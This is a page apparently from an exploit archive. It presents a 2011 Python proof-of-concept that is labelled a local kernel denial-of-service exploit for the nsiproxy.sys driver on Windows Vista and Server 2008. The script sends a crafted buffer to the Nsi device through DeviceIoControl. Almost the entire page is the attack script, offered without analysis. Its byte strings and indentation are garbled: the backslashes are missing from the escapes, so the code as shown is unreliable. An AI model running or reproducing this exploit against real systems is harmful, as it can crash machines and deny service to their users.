Home / exploitsPDF  

Microsoft Windows Vista/Server 2008 nsiproxy.sys Denial Of S

Posted on 18 May 2011

#!/usr/bin/python

############################################################################
##
## Title: Microsoft Windows Vista/Server 2008 "nsiproxy.sys" Local Kernel DoS Exploit
## Author: Lufeng Li of Neusoft Corporation
## Vendor: www.microsoft.com
## Vulnerable: Windows Vista/Server 2008
##
############################################################################
from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == '__main__':
GENERIC_READ  = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2

SYM_NAME   = "\\.\Nsi"
dwReturn      = c_ulong()
out_buff      = ''
in_buff       = ("x00x00x00x00x00x00x00x00xecx2dx39x6ex07x00x00x00"
"x01x00x00x00x00x00x00x00x38x89x6cx01x08x00x00x00"
"x00x00x00x00x00x00x00x00x10xfax78x00x28x00x00x00"
"x38xfax78x00x0cx00x00x00")

handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)
dev_ioct = kernel32.DeviceIoControl(handle, 0x12003f, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)

 

TOP

Malware :

Exploits :